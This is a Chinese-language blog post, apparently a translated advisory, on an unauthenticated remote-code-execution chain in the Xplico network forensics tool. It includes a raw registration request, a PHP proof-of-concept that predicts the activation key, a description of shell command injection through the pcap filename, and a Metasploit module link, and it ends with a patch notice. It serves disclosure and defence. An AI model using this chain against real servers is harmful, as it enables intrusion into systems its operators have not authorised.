琳迪软件(LINDI.CC)

  • 首页
  • 原创内容
  • 技术分析
  • 实用工具
  • 业界资讯
琳迪软件(LINDI.CC)
让电子取证更简单
  1. 首页
  2. 实用工具
  3. 正文

著名开源网络取证工具Xplico远程未授权RCE漏洞

2017年11月24日 794点热度 0人点赞 0条评论

著名开源网络取证工具Xplico远程未授权RCE漏洞

著名Linux开源网络取证工具Xplico可以捕获Internet网络应用层流量,通过流量解析,解析出网络包中的各种应用数据。例如,可以从Pcap文件包中解析出IP流量数据,也可以从POP、IMAP和SMTP协议中解析出邮件HTTP内容以及VOIP应用等。近期,我们团队发现了Xplico的一个远程未授权RCE漏洞。

漏洞信息

远程利用: 是

授权需要: 否

漏洞影响:Xplico

CVSSv3漏洞评分: 9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:H/RL:U)

发现日期:2017.10.31

技术分析

本质上讲,我们发现了Xplico的3个漏洞,综合利用这3个漏洞最终可导致严重的无需授权远程代码执行漏洞(RCE)。

漏洞1:隐藏的用户注册功能

在Xplico系统中存在一个隐藏的用户注册接口,任何人都可以通过接口http://<ip_address>:9876/users/register注册新用户:

著名开源网络取证工具Xplico远程未授权RCE漏洞

漏洞2:激活码生成中使用了弱随机化算法

一旦用户通过上述用户注册功能进行注册,该用户会接收到一封激活邮件,需要通过该邮件进行帐户激活,以下是该过程涉及的主要代码:

if ($this->Group->save($this->request->data)) {
                            $this->request->data['User']['password'] = md5($this->request->data['User']['password']);
                            $this->request->data['User']['em_key'] = md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());
                            $gid = $this->Group->getID();
                            $this->request->data['User']['group_id'] = $gid;
                            $this->User->create();
                            if ($this->User->save($this->request->data)) {
                                if (1) {
                                    // send email to confirm registration
                                    mail($this->request->data['User']['email'], "Xplico - Account Activation Request",
                                         "To confirm click the link below\n http://demo.xplico.org/users/registerConfirm/".$this->request->data['User']['em_key']."\n",
                                         "From: register@xplico.org");
                                    $this->Session->setFlash(__('To complete registration wait the email'));
                                }
                                else {
                                    $this->Session->setFlash(__('Registration Completed'));
                                    $this->User->saveField('em_checked', 1);
                                }
                                $this->redirect('/users/index');
                            }
                            else {
                                $this->Group->delete($gid);
                                $this->Session->setFlash(__('There was a problem saving this information'));
                            }
                        }

发给用户的激活邮件中包含了激活码,而激活码则存储在数据库的em_key区域。

不幸的是,这封激活邮件很可能就到不了用户的注册邮箱中,而且还有一个简单的方法可以计算出em_key中的激活码值。

md5($this->request->data['User']['email'].$this->request->data['User']['password'].time());

仔细看以上md5对em_key值的调用过程,我们来分析分析:

$this->request->data['User']['email'],这段代码是用户注册时的给定邮箱地址输入,看你想预留的邮箱是什么就输入什么,当然是已知的了;

$this->request->data['User']['password'],这段代码则是户注册时的给定账户密码,看你想预留的密码是什么就输入什么,也是已知的;

time():该函数会已unix时间格式返回当前时间,但不包含毫秒,所以一旦我们收到来自服务器的http响应,我们可以查看其数据头并计算出确切的时间值,然后只要在1秒内完成执行就能有效。

这就是一个用户注册时产生的POST请求,其中包含了需要用户填写的注册邮箱和注册密码值:

POST /users/register HTTP/1.1
Host: 12.0.0.41:9876
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Upgrade-Insecure-Requests: 1

_method=POST&data[_Token][key]=a84ad2730fdd215f7795a2cf14feb8c2788c6ff5d2d1d8e839736cb4626ce48c1b63ee6c798cd1a6de15f88314dd39f2a1fdf10cbf412c37eda882dfb0120c97&data[User][email]=hacker@hacker.com&data[User][username]=hacker&data[User][password]=123456&data[_Token][fields]=57a700573f4839c45778a5dee8b04184f40c6481:&data[_Token][unlocked]=

而以下则是注册后的Xplico系统端响应,它会跳转到用户登录界面,如果当前这种响应-登录动作可在1秒内完成,在em_key的生成过程中,其time()时间值都是一样的,也就对应最终的激活码一样。

HTTP/1.1 302 Found
Date: Tue, 31 Oct 2017 08:33:01 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; include Subdomains;
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Location: http://12.0.0.41:9876/users/index
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

以下是依照上述我们分析的思路,总结的一个计算em_key生成的PoC:

<?php

$email = "hacker@hacker.com";
$password = "123456";

$token = md5($email.md5($password).strtotime("Tue, 31 Oct 2017 08:33:01 GMT"));

echo $token;

漏洞3:认证命令注入

由于Xplico具备PCAP流量包解析功能,所以可以通过以下界面模块上传pcap文件,该模块受密码保护。

著名开源网络取证工具Xplico远程未授权RCE漏洞

一旦pcap文件上传后,将会执行以下系统命令:

sh –c md5sum “/opt/xplico/pol_1/sol_1/new/[NAME_OF_PCAP_FILE]” > /tmp/dema_hash.txt

命令中的pcap文件名[NAME_OF_PCAP_FILE]直接取自用户输入,但在文件名输入中使用$()或“技巧后,就可间接执行我们自己设置的操作系统命令。

Exploit

https://github.com/rapid7/metasploit-framework/pull/9206/files

Metasploit反弹控制实验

著名开源网络取证工具Xplico远程未授权RCE漏洞

著名开源网络取证工具Xplico远程未授权RCE漏洞g

缓解更新

目前,由于Xplico可集成在Security Onion、Ubuntu、VirtualBox等多种网络分析取证产品中,而受该漏洞影响,经我们与Xplico软件开发维护商取得联系后,Xplico方面已经发布了更新版本的1.2.1,请受影响用户及时下载更新。

标签: Xplico 网络取证
最后更新:2017年11月24日

LINDI

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

最新 热点 随机
最新 热点 随机
[更新]微信PC版DAT文件解密工具V0.5 [更新3.3.0.115]微信PC版防撤回+多开补丁 [更新]微信PC版聊天记录解密工具 [更新V1.1]QQ聊天记录MHT转HTML工具(支持批量转换) [更新 V1.2]词频分析工具 GitHub关键字扫描开源工具推荐 服务器入侵溯源小技巧整理
利用Volatility进行Windows内存取证分析(一):初体验 批量查询IP归属地工具 分析取证指南:取证工具推荐 [更新3.3.0.115]微信PC版防撤回+多开补丁 如何使用树莓派自制网络监视器 【OSG】苹果FSEvent深层文件系统调用记录方法论 SUpraudit:一款MacOS上的日志审计工具
最近评论
LINDI 发布于 12 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 12 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 12 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 12 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 12 个月前(12月21日) 已发送, 请查收!
LINDI 发布于 12 个月前(12月21日) 可以看啊, 或者把你的样本文件发我, 我试试, 看是否有bug
LINDI 发布于 12 个月前(12月21日) 可以用啊, 没问题的.
分类
  • 业界资讯
  • 原创内容
  • 实用工具
  • 技术分析
标签聚合
微信 CryKeX Hashview 安卓镜像 hashcat linux Xplico 防撤回 CTF 解密 聊天记录 计算机取证 证据固定 netcat 文件系统 Volatility 网络取证 内存取证
联系方式

点这里联系我
邮箱:lindisoft@hotmail.com

归档
  • 2022年7月
  • 2021年7月
  • 2021年4月
  • 2020年4月
  • 2019年7月
  • 2018年10月
  • 2018年8月
  • 2018年7月
  • 2018年6月
  • 2018年5月
  • 2018年4月
  • 2017年12月
  • 2017年11月
  • 2015年7月
  • 2015年6月

COPYRIGHT © 2021 lindi.cc. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang